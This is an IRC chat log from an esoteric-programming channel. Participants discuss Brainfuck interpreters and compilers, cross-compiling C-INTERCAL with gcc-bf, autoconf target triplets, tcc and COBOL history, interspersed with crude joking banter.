23:12:54 <ehird> lucasarts games are much better.
23:13:03 <pikhq> ais523: 50 lines of Tcl?
23:13:13 <AnMaster> there are also some dotted ones that represents ordering, but graph was even huger with that, so I stripped them.
23:13:13 <ais523> pikhq: 50 seems like a bit much for a BF interp
23:13:15 <ehird> mercibeaucul: monkey island, full throttle, dig, etc.
23:13:24 <ehird> like sierra games, but you don't die.
23:13:24 <ais523> a naive implementation's about 20 lines in C
23:13:29 <ehird> also actual gameplay.
23:13:30 <pikhq> ais523: It compiled Brainfuck to Tcl then executed it. :P
23:13:40 <AnMaster> ais523, anyway in the lower regions you can see some newly inserted phi nodes. And to the left...
23:13:40 <ehird> pikhq: that's huge
23:13:47 <ehird> a golfed BF compiler can be like 5 lines
23:13:53 <mercibeaucul> and random old games like Zak McKracken and the Alien Mindbenders..
23:13:53 <pikhq> ehird: And I may have overestimated the length.
23:14:05 <AnMaster> ais523, and yes about tuples, that is how instructions are represented at that point
23:14:08 <ehird> mercibeaucul: lucasarts made that
23:14:14 <AnMaster> {Offset, Instruction, Parameters}
23:14:16 -!- Sgeo has quit (Connection timed out).
23:14:32 <pikhq> ehird: I was right. It was absurdly undense.
23:14:38 <AnMaster> where Parameters varies depending on what Instruction it is.
23:15:00 <ais523> for instance: http://golf.shinh.org/reveal.rb?Brainfuck+FIXED/murky-satyr/1218285720&js
23:15:14 <ais523> that's a BF input in 3 lines of JS
23:15:22 <ais523> plus a fourth that fixes a mistake in the original question
23:15:22 <pikhq> The switch statement is a good 30 or 40 lines. XD
23:15:37 <ais523> mercibeaucul: well, text adventures date back to ADVENT
23:15:42 <pikhq> It wasn't entirely naive, though; it at least did RLE.
23:15:44 <ais523> which I want to translate into INTERCAL some day
23:16:03 <ais523> INTERCAL's lousy at string handling; but then, so is Fortran
23:16:21 <ehird> incidentally, the interp that ships with LostKng is naïve
23:16:30 <ehird> AnMaster: that's what ADVENT is.
23:16:51 <ehird> it uses recursion to parse it into a parse tree for loops, and then just naïves it up.
23:17:32 <ais523> ehird is; I read it but am not a user
23:17:32 <AnMaster> ehird, well... using recursion to parse the loops is the sanest way I can think of
23:17:39 <pikhq> I read it from time to time.
23:17:45 <ais523> recursion to parse loops is not a naive implementation
23:17:50 <AnMaster> ehird, but are you saying it doesn't fold ++++ even?
23:18:02 <AnMaster> because that is trivial even in an interpreter and will improve speed.
23:18:04 <ehird> AnMaster: it doesn't afaik
23:18:08 <ehird> it just isn't needed
23:18:10 <ehird> lostkng isn't slow
23:18:14 <AnMaster> you can do it at parse time even, for the basic stuff
23:18:16 <ehird> it starts in a half second in ANY implementation
23:18:22 <ehird> and is instant after that
23:18:29 <ais523> ehird: are you sure about that any?
23:18:30 <AnMaster> ehird, Err. Didn't in my bashfuck!
23:18:39 <ehird> ais523: shush you :p
23:18:43 <ais523> many naive BF interps are O(n) in the length of the program
23:18:57 <AnMaster> ais523, bashfuck took a few minutes to load lostking
23:19:08 <AnMaster> since it was stored in a bash array iirc
23:19:27 <AnMaster> a bit faster if you saved the pre-processed one
23:19:27 <ehird> ais523: what do you mean by that?
23:19:45 <ais523> ehird: naivest implementation I can think of uses a string to store the program
23:19:51 <ais523> and removes the first element every command
23:19:58 <ehird> ais523: no it doesn't, that breaks loop.s
23:20:00 <AnMaster> ais523, how would you handle loop then
23:20:02 <ais523> so each command that runs takes a length of time proportional to the length of the program
23:20:10 <ais523> loops, you concatenate the loop interior onto the start of the program
23:20:16 <ais523> ehird: you're thinking C
23:20:17 <ehird> omg instant chopping of first element
23:20:21 <ais523> I'm thinking someting higher-level
23:20:28 <ehird> ais523: tons of languages do that when you take the tail
23:20:37 <ais523> you are writing, for loops
23:20:55 <AnMaster> ehird, manual copy then in a body recursive function.
23:21:06 <ehird> AnMaster: that's not naive, that's willfully stupid
23:21:50 <ais523> yep, most of the channel just talk to both of them normally
23:21:54 <ehird> what? i'm not even insulting him yet!
23:21:55 <ais523> but arguments can be fun to watch
23:22:06 * ais523 waits for both of them to accuse each other of being trolls
23:22:07 <ehird> did I unintentionally start an argument with him and I didn't notice? :D
23:22:09 <AnMaster> ehird, not sure either in fact
23:22:21 <ehird> AnMaster: I think we'd better disagree just to be sure.
23:22:22 <AnMaster> for once I have to agree with you
23:22:35 <ehird> You can't get anything right.
23:23:25 <AnMaster> ehird, wrong pronoun, but otherwise quite accurate.
23:23:45 <AnMaster> but seriously I'm a bit busy atm
23:23:48 <ehird> Hmm. For once I am without a retort.
23:24:02 <FireFly> [00:22:21] <ehird> AnMaster: I think we'd better disagree just to be sure.
23:24:03 <FireFly> [00:22:21] <AnMaster> for once I have to agree with you
23:24:09 <FireFly> So obviously, you agreed to disagree
23:24:19 <ais523> wait, that is a disagreement, isn't it/
23:24:44 <mercibeaucul> I'd have to say that paradox is one of my favorite existing concepts
23:24:49 <ehird> I've always imagined that :3 is someone with the weirdest-shaped mouth ever.
23:25:04 <mercibeaucul> or someone with balls falling out of his/her mouth
23:25:11 <ehird> No. I've never imagined that.
23:25:18 <FireFly> You can have a 3-ish mouth for Miis on the Wii
23:25:33 <GregorR> Or balls ... just in his/her mouth?
23:25:41 <ehird> GregorR: Stay classy.
23:26:08 <ehird> That's to be expected.
23:26:13 <ehird> I imagine you don't know most people here.
23:26:30 <GregorR> ehird: Phelatio is totally classy.
23:26:51 <ehird> Like a royal banquet.
23:27:03 <GregorR> Parties, weddings, ordering fast food, orgies.
23:27:21 <GregorR> <mercibeaucul> ball banquet. X-D
23:28:45 <GregorR> So anyway, hi mercibeaucul, a good first impression I'm sure :P
23:29:06 <ehird> GregorR: Well, it *does* accurately reflect what you're like most of the time...
23:29:23 <AnMaster> mercibeaucul, so what made you come here?
23:30:26 <ehird> 22:52 ais523: what brings you here, anyway?
23:30:28 <AnMaster> I think ehird likes reddit, but I don't know about the ask bit.
23:30:28 <ehird> 22:53 mercibeaucul: hmmm
23:30:30 <ehird> 22:53 mercibeaucul: curiosity, I suppose
23:30:32 <ehird> 22:54 mercibeaucul: plus, I esoteric is one of my favorite words ;)
23:30:45 * ais523 watches cyclic tag interpreter in Rubicon
23:30:49 <ehird> AnMaster: #askreddit is an IRC channel...........................
23:30:49 <ais523> Rubicon is just so fun to watch...
23:30:54 <AnMaster> ehird, that sounds exactly like one of those joining for the *other* esoteric stuff.
23:31:02 <ais523> no, it's the right channel
23:31:06 <AnMaster> (the esoteric stuff we don't do)
23:31:09 <ehird> AnMaster: You mean the sex?
23:31:16 <ehird> The one we _don't_ do.
23:31:16 <ais523> no, that's something else entirely
23:31:42 <ehird> ais523 is our pet on-topic-enforcer. He's so cute and powerless.
23:31:50 <ais523> I wouldn't call me entirely powerless
23:32:02 <ais523> but yes, I do care a lot about the topicality
23:33:31 <mercibeaucul> wouldn't it be nice if we could all get together and go to the park?
23:33:44 <ais523> but we mostly live in different countries
23:33:48 <ais523> and different timezones
23:33:50 <mercibeaucul> that's the one complaint I have about these things.
23:33:53 <GregorR> !bf +++++++++++++[>++>+++++++>++++++++>+++++++++<<<<-]>>-------.>.---.<<++++++.>>>-.-----.+.<++++.<+++++++++++++++.<.>>>-.<---.<<.>>>+++++.<++.+.>-.<<<.>.>-.<--.+++++++++++++..>---.<--.<.>>++++.>.<<<.>-------.>>.<++++++.+++++.<.>--.>----------.<<--.<.>>--.++.---.>--.<+++.<--.>-----..<++++++++.>+.<--.<++++++++++++++.------------------------------------.
23:33:53 <EgoBot> The topic of this channel is esoteric programming.
23:34:06 <ehird> EgoBot: no it's not, it's "David slowed his pace slightly as his ears, logging the channel to http://tunes.org/~nef/logs/esoteric/?C=N;O=D, noted that lambdabot was in their midst and decreed that everyone shall be nice to it. They also noted that the wiki is at http://esolangs.org/wiki/."
23:34:20 <Warrigal> data BF = Inc Integer | Right Integer | In | Out | Loop [BF]
23:34:30 -!- GregorR has set topic: esoteric programming.
23:34:36 <AnMaster> btw, if I was to rewrite that compiler from scratch, there is a lot I would do differently, I learnt a lot while working on it. Hm... Maybe I should... In any case I'm going to try to finish this part first... Lets see where that leads.
23:34:43 <ais523> GregorR: you machine-generated that!
23:35:01 <ehird> (at this point, ais523 puts the log link back in the topic due to the TOS.)
23:35:11 <ais523> oh, good point, I missed that it was gone
23:35:14 <AnMaster> GregorR, that seems extremely non-compact
23:35:16 <mercibeaucul> Alan Turing - I recall something about him and a poisonous apple, and Apple's logo with the bite taken out of it
23:35:21 -!- Warrigal has set topic: http://tunes.org/~nef/logs/esoteric/?C=N;O=D http://tunes.org/~nef/logs/programming/?C=N;O=D.
23:35:24 <AnMaster> I'm quite sure it could be done shorter
23:35:25 -!- ais523 has set topic: esoteric programming | logs: http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:35:49 <AnMaster> mercibeaucul, that was brainf*ck, not a turing machine
23:35:51 -!- ehird has set topic: Don't go to http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:35:56 <ehird> AnMaster: No it wasn't, it was brainfuck.
23:36:04 <Warrigal> Alan Turing died by eating an apple. Therefore, all partially-eaten apples are symbols of Alan Turing's death.
23:36:06 <AnMaster> ehird, ... that is what I said.
23:36:13 <ais523> actually, the log links are pretty useful for someone new to a channel
23:36:14 * ehird makes languages named brainf***, brainf*ck, brainf**k etc. to confuse people.
23:36:16 <ehird> AnMaster: No it's not.
23:36:19 <ehird> AnMaster: You said "brainf*ck".
23:36:20 <ais523> if they want to read up on history for any reason
23:36:46 <mercibeaucul> is the Turing machine used as some sort of recognization of artificial intelligence?
23:36:48 <AnMaster> ehird, if it is on the esowiki...
23:36:52 <Warrigal> It matches "brainffffffffffck" as well as "brainck".
23:36:59 <ehird> Turing was multidiciplinary :P
23:37:03 <Warrigal> mercibeaucul: that's the Turing test.
23:37:06 <ais523> mercibeaucul: not really; it's a sort of simple system that can be used to modern any copmuter
23:37:14 -!- pikhq has set topic: Also Haskell. | Don't go to http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:37:16 <AnMaster> Warrigal, search space was esowiki page titles
23:37:16 <ehird> ais523: no, any turing-equivalent computer.
23:37:17 <ais523> apart from some that can't be implemented in practice
23:37:18 <GregorR> Turing was ... homodiciplinary?
23:37:29 <ehird> GregorR: I didn't know he was into BDSM too
23:37:31 <ais523> ehird: I interpret "computer" as referring to RL ones
23:37:36 <Warrigal> Quit using the root "dicipline".
23:37:45 <ehird> ais523: there is nothing in the laws of physics saying that super-turing machines are impossible.
23:37:50 -!- AnMaster has set topic: Erlang, Just because. | Don't go to http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:37:51 <ais523> and I believe, although don't know for certain, that all computers currently in existence are not super-turing
23:38:07 <mercibeaucul> oh wait, no, Turing had to do with defining algorithms..
23:38:07 -!- ehird has set topic: Also Haskell, because we have lambdabot. | Don't go to http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:38:09 <Warrigal> Jesus' multidiciplinary diciples diciplined their children.
23:38:11 <ehird> See? A JSUTIFICATION!
23:38:16 -!- ais523 has set topic: Java, so everyone hates the topic equally. | Don't go to http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:38:19 <ehird> mercibeaucul: he also did the turing test
23:38:26 <AnMaster> ais523, I think fizzie might not
23:38:38 <Warrigal> The AP Computer Science test was in Java.
23:38:40 <ais523> and my opinion of Java isn't as low as some people's
23:38:55 <ais523> grr... surely there's /some/ language we all hate
23:38:56 <Warrigal> Both AP Computer Science tests?
23:38:59 <GregorR> Warrigal: I took it the last year it was in C++, and then the "advanced" one the first year it was in Java.
23:39:07 <ehird> COBOL... Grace Hopper was cool.
23:39:28 <ehird> http://en.wikipedia.org/wiki/Grace_Hopper
23:39:43 <AnMaster> ehird, feeling well? You didn't tell me to google for once...
23:39:51 <ais523> and COBOL is actually remarkably good at what it was designed for
23:39:54 <ehird> AnMaster: Also, invented the term "computer bug".
23:40:00 <AnMaster> also that name sounds like a pun of "grasshopper"
23:40:06 <ehird> And "It's easier to ask forgiveness than it is to get permission".
23:40:11 <ais523> just, what it was designed for is rarely relevant in modern non-corporate programming
23:40:40 -!- BeholdMyGlory has quit (Remote closed the connection).
23:41:04 -!- oerjan has joined.
23:41:16 <ehird> we've been defending cobol
23:41:30 <mercibeaucul> that's awesome that that specific quote is attributed to her
23:41:32 <Warrigal> She didn't invent the term "computer bug".
23:41:38 <ais523> oerjan's our resident mathematician
23:41:43 <ehird> Warrigal: You are wrong.
23:41:46 <mercibeaucul> "A ship in a harbor is safe, but that is not what a ship is built for."
23:41:53 <ehird> "From then on, when anything went wrong with a computer, we said it had bugs in it."
23:41:57 <ehird> http://upload.wikimedia.org/wikipedia/commons/8/8a/H96566k.jpg
23:42:08 <ehird> Warrigal: She invented the term.
23:42:20 <pikhq> Oh. Defending COBOL at the time, not its current use. Acceptable.
23:43:31 <Warrigal> ehird: I believe what she wrote in her notebook was "First case of actual bug found."
23:43:44 <ehird> Warrigal: And "From then on, when anything went wrong with a computer, we said it had bugs in it."
23:43:59 <ais523> bugs aren't the only way to get computer malfunctions
23:44:01 <ehird> http://en.wikiquote.org/wiki/Grace_Hopper
23:44:05 <ehird> From then on, when anything went wrong with a computer, we said it had bugs in it.
23:44:05 <ehird> On the removal of a 2-inch-long moth from the Harvard Mark I experimental computer at Harvard in August 1945, as quoted in Time (16 April 1984)
23:44:30 <AnMaster> ehird, there is no reference there on that page?
23:44:36 <ehird> AnMaster: Yes there is.
23:44:42 <ehird> "as quoted in Time (16 April 1984)."
23:44:50 <AnMaster> they don't use the same system as everyone else
23:45:07 -!- labo has quit ("leaving").
23:45:17 <AnMaster> ehird, list of references at the bottom of the page
23:45:23 <Warrigal> ehird: if you look at the notebook page on that page, it says "First actual case of bug being found."
23:45:32 <ehird> Warrigal: I don't care; the quote is the relevant thing.
23:45:38 <ehird> AnMaster: Wikimedia: I don't think that word means what you think it means.
23:45:42 <Warrigal> It appears that the same page has two pieces of strong evidence in opposite directions.
23:45:58 <AnMaster> ehird, sorry, "wiki's owned by wikimedia foundation"
23:46:09 <ehird> AnMaster: Wikipedia does that format..............................................
23:46:23 <ehird> Warrigal: One is direct, the other is indirect.
23:46:25 <AnMaster> ehird, http://en.wikipedia.org/wiki/Static_single_assignment_form#References
23:46:31 <ehird> AnMaster: Exactly.
23:46:50 <ehird> You just disproved that Wikimedia people do it differently than a list at the bottom.
23:46:50 <AnMaster> ehird, that format wasn't used on http://en.wikiquote.org/wiki/Grace_Hopper
23:46:56 <AnMaster> there is no reference list at the bottom there
23:47:04 <ehird> 23:44 AnMaster: they don't use the same system as everyone else
23:47:04 <ehird> 23:44 AnMaster: on wikimedia
23:47:11 <ehird> What you're saying is wikiquote don't use the same sysetm.
23:47:17 <ehird> Not all wikimedia wikis.
23:47:48 <Warrigal> It's possible that the wording "First actual case" means that they had suspected they would find an actual bug somewhere, or that the "from then on" simply indicates that this incident led them to adopt terminology that was already known.
23:48:11 <Warrigal> I rest my case and go to dinner.
23:48:20 <ehird> Warrigal: The latter would be ridiculous.
23:48:31 <ehird> Because the quote would then read awkwardly.
23:49:26 <FireFly> "The invention of the term is often erroneously attributed to Grace Hopper, who publicized the cause of a malfunction in an early electromechanical computer.[4]"
23:49:31 <FireFly> Says http://en.wikipedia.org/wiki/Computer_bug#Etymology
23:52:21 <ais523> theory: for any oft-quoted statement of who invented something, you can find a Wikipedia article that says it's an urban legend
23:53:38 <pikhq> I think I've discovered respect for COBOL.
23:53:45 <pikhq> Based on the first compiled language?
23:53:52 <pikhq> That's actually respectable.
23:54:04 <pikhq> ... Just hasn't been since the invention of Algol.
23:54:17 <pikhq> Or the Lisp compiler, really.
23:54:45 <ais523> COBOL is good for what it's designed for
23:54:53 <ais523> although nowadays, we'd use SQL for that
23:55:02 <ais523> because databases are separate from programs nowadays
23:55:16 <pikhq> It's been misused a lot.
23:55:34 <AnMaster> ais523, btw you said you compiled ick with gcc-bf?
23:55:47 <ais523> yes; it doesn't run because the compiler's buggy
23:55:56 <ais523> but it will compile and produce BF output
23:55:57 <ehird> I wonder where you can buy bare, thin screens like you get in laptops.
23:55:59 <AnMaster> ais523, ah, but how large was the file
23:56:11 <ais523> I have to put --rle on to avoid thrashing
23:56:15 <ais523> and probably pretty big
23:56:22 <AnMaster> ais523, and how large was the rel?
23:56:38 <pikhq> ais523: Has it created any correct output?
23:56:41 <AnMaster> anyway calculating the full size without expanding is easy for that encoding you use
23:56:56 <ais523> pikhq: yes, but only for a program using a carefully selected subset of C
23:56:57 <AnMaster> pikhq, I think the hello world one was correct, but it was too large for me to actually run it
23:56:59 <ais523> I have a hello world in it
23:57:08 <ais523> AnMaster: it runs fine in my interp
23:57:27 <AnMaster> ais523, yeah, but gcc trashes on it when you try to compile a C file generated from it
23:57:27 <ehird> And ais523 has a rubbish Centrino laptop...
23:57:35 <pikhq> So, certainly not up to taking random ISO C code.
23:57:36 <ais523> even so, the hello world had to use inline asm in order to do output
23:58:03 <AnMaster> I think I'm down to a bit less, but too busy to wait the 5-10 minutes for that to compile
23:58:24 <pikhq> ... ./configure&&make&&make install?
23:58:32 <AnMaster> ais523, you said it used write() iirc?
23:58:45 <ais523> it looped a pointer along the string
23:58:49 <mercibeaucul> all right, #esoteric, it was wonderful to eavesdrop on your channel, and thanks for having me, but I'm leaving now. Goodnight!
23:58:51 <ais523> calling inline asm for the . instruction
23:58:54 <AnMaster> pikhq, wget, ./configure --prefix=$HOME/local/tcc/version
23:58:57 <pikhq> mercibeaucul: See ya.
23:59:05 -!- mercibeaucul has left (?).
23:59:16 <GregorR> Now that he's gone, BACK TO THE ORGY
23:59:23 <pikhq> AnMaster: In the time you waited for it to compile, you could have installed tcc.
23:59:24 * ehird figures out how to make a laptop ~.4" thin. Macbook Air and Dell Adamo, TAKE THAT!
23:59:32 <GregorR> Now that she's gone, BACK TO THE ORGY
23:59:48 <AnMaster> pikhq, anyway, that is an ~91400 lines long main()
00:00:08 <ehird> .4" is tiny. THAT'S WHAT SHE SAID!
00:00:09 <pikhq> AnMaster: Yes. tcc is *ridiculously* fast.
00:00:13 <pikhq> And uses like hardly any memory.
00:00:23 <AnMaster> pikhq, yes, it only does basic constant folding
00:00:43 <AnMaster> pikhq, however, the resulting executable would take forever to run
00:01:05 * ais523 recompiles ick with gcc-bf
00:01:23 <pikhq> Care to link to a gzip'd version of that C code?
00:01:32 <ais523> GregorR: no, gcc-bf isn't finished
00:01:46 <GregorR> ais523: Where's gcc-bf maintained?
00:01:53 <GregorR> (AKA can haz src plz kthx)
00:02:12 <ais523> GregorR: it was on eso-std.org
00:02:16 <ais523> but ehird took it down
00:02:28 <ehird> ais523: which you so whiningly mention every time someone asks
00:02:33 <ehird> why not just give them a filebin link instead?
00:02:33 <AnMaster> pikhq, http://rage.kuonet.org/~anmaster/tmp/hworld1.bfrle.c.gz
00:02:50 <ais523> ehird: because you need full source to gcc and to newlib to be able to use it
00:02:50 <GregorR> I could host it on codu.org if you'd like.
00:03:05 <ais523> and filebins don't like you putting the entire source of gcc on them
00:03:09 <pikhq> tcc hworld1.bfrle.c -o hworld1 0.71s user 0.02s system 96% cpu 0.761 total
00:03:10 <oerjan> AnMaster: i don't understand the pun at the end of IWC's annotation :(
00:03:16 <pikhq> ./hworld1 0.00s user 0.00s system 84% cpu 0.002 total
00:03:37 <AnMaster> pikhq, find the line saying a[3000] or so near the top
00:04:01 <AnMaster> pikhq, I keep forgetting that gcc-bf needs a lot longer tape than usual
00:04:12 <pikhq> tcc hworld1.bfrle.c -o hworld1 0.70s user 0.02s system 95% cpu 0.755 total
00:04:14 <AnMaster> even lostking works on a 3000 long tape
00:04:23 <pikhq> ./hworld1 0.00s user 0.00s system 68% cpu 0.006 total
00:04:27 <ehird> you're meant to use 30,000
00:04:31 <ehird> that's the standard.................
00:04:39 <pikhq> ehird: No, 3,000 is the standard.
00:04:47 <ehird> ais523: tell them they're wrong k
00:04:50 <ais523> checking for C compiler default output file name... a.b
00:05:04 <ais523> see, C-INTERCAL's build system can cope with just about anything
00:05:07 <ehird> Brainfuck - Wikipedia, the free encyclopedia - 12:04am
00:05:07 <ehird> 13 May 2009 ... The brainfuck language uses a simple machine model consisting of the program and instruction pointer, as well as an array of at least 30000 ...
00:05:10 <ais523> AnMaster: well, it's a BF file, isn't it?
00:05:17 <ehird> muller's used 30,000 too
00:05:21 <AnMaster> ais523, every build system I know of actually use -o though
00:05:34 <ehird> AnMaster: ./compile
00:05:37 <ehird> or whatever it's called
00:05:40 <ehird> some compilers don't do -o
00:05:47 <ehird> so they run the compiler
00:05:50 <ehird> then move the object file
00:05:53 <ehird> AnMaster: part of autohell
00:06:07 <pikhq> Autotools is awesome.
00:06:09 <AnMaster> hm ok, POSIX requires it though. And I live in the fluffy POSIX heaven you know :P
00:06:21 <pikhq> Terribly ugly hack, but it's pretty awesome how well it works when it works.
00:06:32 <ais523> autoconf is busy checking lex for compatibility with gcc-bf
00:06:44 <pikhq> Oh, right. ehird suggests per-OS Makefiles.
00:06:54 <pikhq> Instead of having autoconf magically work with a.b.
00:07:02 <ehird> pikhq excels at distorting and trivializing other people's words.
00:07:26 <pikhq> ehird: You excel at being trivial.
00:07:39 <oerjan> AnMaster: never mind i found out who toffler is
00:08:24 <pikhq> AnMaster: I assume that that was compiled with esotope?
00:08:26 <AnMaster> tofflor I know, toffler I don't
00:08:38 <AnMaster> pikhq, and a few revisions ago of in-between
00:08:39 <ehird> pikhq: no, his direct copy of it that's slower to run
00:08:42 <GregorR> ais523: I could host it on codu.org if you'd like.
00:08:54 <ehird> because he doesn't understand the extended gcd algorithm
00:08:56 <GregorR> ais523: Y'know, so that people could like ... see it :P
00:08:56 <ais523> GregorR: could be good
00:08:58 <AnMaster> pikhq, I'm working on in-between, in a few cases it does better.
00:09:05 <GregorR> ais523: Do/can you use mercurial?
00:09:08 <oerjan> AnMaster: he apparently wrote a book called "Future Shock"
00:09:13 <AnMaster> <ehird> pikhq: no, his direct copy of it that's slower to run <-- wrong
00:09:24 <ais523> hmm... it's stuck for ages trying to figure out if gcc-bf supports snprintf
00:09:30 <ais523> my guess is it does, and it's loads of code
00:09:33 <AnMaster> ehird, if you had read the code you would know how differently they work
00:09:48 <ais523> only it said 'no'; I suspect gcc-bf's link algorithm may confuse autoconf
00:09:52 <ais523> I'll have to look into that
00:09:59 <AnMaster> ais523, or the snprintf is broken?
00:10:01 <ais523> GregorR: no and yes on mercurial
00:10:04 <ais523> I don't use it, or I can
00:10:15 <pikhq> ais523: Is your generated BF code prepended with #! so that the resulting 'binary' can execute?
00:10:30 <ais523> pikhq: no, because which compiler would I specify?
00:10:34 <ehird> AnMaster: But you're a bzr fanboy.
00:10:43 <AnMaster> ehird, I rather like darcs too
00:10:51 <pikhq> ais523: Interpreter.
00:10:58 <AnMaster> ehird, sometimes a bit too verbose
00:10:59 <pikhq> That's what #! does.
00:11:03 <ais523> pikhq: just program to run with
00:11:21 <pikhq> #!/bin/bf may be cleaner, but *shrug*
00:11:47 <ehird> Who has bf in /bin????
00:12:14 <ais523> there's an error in the makefile, I think
00:12:50 <AnMaster> autoconf doesn't need to run it in fact
00:12:55 <AnMaster> I assume it is cross-compiling to bf
00:13:07 <ais523> yep, it's a cross-compiler
00:13:27 <AnMaster> then execution is totally un-interesting in this case
00:13:45 <pikhq> Oh, right. Autotools actually handles cross-compiling. Duh.
00:14:05 <AnMaster> ais523, what was the triplet for gcc-bf?
00:14:06 <ais523> yes, and ick handles it better than autotools
00:14:10 <ais523> AnMaster: bf-unknown-none
00:14:21 <ais523> but you use just 'bf' as the specifier to autoconf
00:14:22 <AnMaster> ais523, but shouldn't it have four parts :P
00:14:42 <ais523> nope, fourth is optional
00:14:45 <AnMaster> (my system has x86_64-pc-linux-gnu ...)
00:15:05 <ais523> the pc is the optional bit, I think
00:15:30 <AnMaster> ais523, nop, I think it can be replaced with unknown but nothing else
00:15:44 <pikhq> No, it's only a triplet on systems where the OS part also includes a libc.
00:15:54 <pikhq> For example, x86_64-pc-freebsd
00:16:02 <AnMaster> pikhq, a quadraplet otherwise?
00:16:18 <pikhq> Or if the libc is different from what is normally used.
00:16:26 <pikhq> x86_64-pc-freebsd-gnu, for example.
00:17:11 <AnMaster> pikhq, pretty sure I saw i386-portbld-freebsd6.4 on freebsd some years ago
00:17:30 <AnMaster> when it was installed from ports
00:17:51 <GregorR> The second component is mostly meaningless.
00:17:59 <pikhq> Also, the middle bit there is meaningless on most systems.
00:18:19 <ais523> gcc-bf only cares about the first bit
00:19:03 <pikhq> It's there for metadata about the OS or system vendor. It's useful to humans; autotools doesn't care.
00:20:10 <ehird> http://www.pixelqi.com/ ← Wow. Future of displays, anyone? Spinoff of OLPC. Natural light absorbing LCDs - so they can be used in direct sunlight fine - that use 1/2-1/4th of the power, have great colours and fast response times.
00:20:39 -!- Judofyr has quit (Remote closed the connection).
00:22:35 <ehird> So it's glossy, but without glare.
00:23:07 <ehird> AnMaster: As long as a regular display?
00:23:14 <ehird> Or better? Or slightly worse? I don't know.
00:23:19 <ehird> Does it really matter too much?
00:23:34 <ehird> hmm, you seem to have to switch between colours and epaperenss
00:23:41 <ehird> which is not as cool as both at the same time
00:23:44 <ehird> but still cool, since it's the same lcd
00:29:52 <AnMaster> Slereah, it is still misaligned
00:30:55 <oerjan> yeah Gracenotes's one was wrong
00:31:05 <ehird> 00:30 Gallimaufry: Random Fact: Semen is great for reducing wrinkles when applied directly to the forehead or affected area.
00:31:07 <evenant> yes, probably a bug in my handling of space "fixing"
00:31:13 <oerjan> Gracenotes: i mean, myndzi
00:31:41 <evenant> one preceding space didn't get "fixed"
00:32:33 <evenant> could have to do with equal nick length
00:32:52 -!- oerjan has changed nick to oerjan_.
00:33:03 -!- oerjan_ has changed nick to oerjan.
00:33:04 <evenant> yep, guess it just hates Gracenotes
00:34:04 -!- gnotes has joined.
00:34:14 -!- oerjan has changed nick to oerjanotes.
00:34:18 -!- gnotes has changed nick to gnote.
00:34:27 -!- oerjanotes has changed nick to oerjan.
00:34:33 -!- gnote has changed nick to gno.
00:34:46 <oerjan> so it was not the exact nick length either
00:35:08 -!- gno has changed nick to zzzzzzzzzzzzzzzz.
00:35:18 -!- zzzzzzzzzzzzzzzz has left (?).
00:35:56 <Gracenotes> at least if you're not on irssi or something
00:36:31 -!- FireFly has quit ("Later").
00:36:56 -!- oerjan has changed nick to oerjanotes.
00:37:13 -!- oerjanotes has changed nick to oerjan.
00:37:31 <oerjan> it needed exact nick length + exact line said
00:38:02 <oerjan> scratch the nick length
00:38:09 <AnMaster> that was completely unaligned here
00:38:25 <oerjan> i finally reproduced the bug
00:38:33 <oerjan> space \ o / return does it
00:39:57 <oerjan> AnMaster: erm, the point was some of those were slightly unaligned in irssi too
00:40:37 <AnMaster> assuming that is how it should look
00:40:49 <oerjan> that's not fine, the | should be right under the o
00:41:14 <oerjan> also, mine look right for you because i and myndzi have the same nick length
00:41:17 <AnMaster> nah, that three length | is a pole that goes right through someone
00:41:29 <oerjan> (those that are not otherwise broken)
00:41:35 * oerjan swats AnMaster -----###
00:42:22 <oerjan> that wasn't broken before
00:42:59 <oerjan> with one space before hm it remains broken, with two not...
00:44:02 <oerjan> two spaces _anywhere_ after seems to fix it
00:44:34 <Slereah> What characters count as arms?
00:47:45 <Slereah> \o/ Y |o\ /o| M _o/ C /o\ A!
00:49:00 <AnMaster> pikhq, does tcc support x86_64
00:49:08 <AnMaster> or do I need to mess with multilib
00:49:32 <AnMaster> can gcc compile a 64-bit tcc binary that compiles to 32-bit x86?
00:49:42 <ais523> ok, so it doesn't accept /any/ character
00:50:06 <pikhq> AnMaster: It does.
00:50:15 <pikhq> TCC does x86_64 code generation.
00:50:31 * oerjan lols at the last girl genius
00:52:19 <pikhq> GregorR: Few months ago.
00:52:28 <GregorR> TCC is still under development???
00:53:10 <pikhq> Sorry, not "few months ago".
00:53:54 <GregorR> I thought TCC was all but dead.
00:54:09 <pikhq> Yes, but the zombie twitches.
01:00:21 <oerjan> > fun.concat.zipWith replicate[1..]$"Brains."::Expr
01:00:22 <ehird> WTF, the macbook air comes with an 18-bit screen.
01:00:25 <ehird> What an odd colour profile.
01:00:44 <GregorR> What are the superpowers of a superhero with the name ALT-TAB?
01:00:45 <ais523> what are the other 10 bits used for?
01:00:47 <ais523> please tell me it's alpha
01:00:56 <AnMaster> tcc's output for my LostKing.c is larger than the original lostking
01:01:01 <ehird> The screen is - literally - 18 bits.
01:01:02 <AnMaster> gcc's output is generally smaller
01:01:26 <ehird> I have no idea why.
01:02:09 <oerjan> can you suck at something when you're not even trying?
01:02:22 <GregorR> oerjan: I suck at water polo.
01:02:48 <ehird> oerjan: ask augur_, i'm sure he has a lot of experience HUR HUR HUR
01:03:18 <ehird> GregorR: Uhh, care to contextualize?
01:03:34 <GregorR> <GregorR> oerjan: I suck at water polo. <ehird> oerjan: ask augur_, i'm sure he has a lot of experience HUR HUR HUR <GregorR> ehird: You're an idiot. <-- context
01:03:47 <ehird> 01:02 oerjan: can you suck at something when you're not even trying? 01:02 ehird: oerjan: ask augur_, i'm sure he has a lot of experience HUR HUR HUR
01:03:48 <GregorR> Erm, wanted oerjan's line there :P
01:03:52 <ehird> 01:02 oerjan: can you suck at something when you're not even trying?
01:03:52 <ehird> 01:02 GregorR: oerjan: I suck at water polo.
01:03:56 <ehird> So ordering issues, I guess.
01:04:10 <GregorR> Now, my line was irrelevant.
01:04:19 <GregorR> I inadvertently copied it.
01:04:28 <ehird> I'm not an idiot, I'm just silly.
01:05:06 <GregorR> oerjan: Which dictates that should you try to spell Muphry's ... no, Murfy's ... no, Nurphy's law, you'll fail.
01:05:38 <oerjan> GregorR: possibly, although i did _not_ misspell it
01:05:40 <ehird> Muphry's Law is a real thing.
01:05:44 <ehird> !google Muphry's Law
01:05:44 <EgoBot> http://google.com/search?q=Muphry's+Law
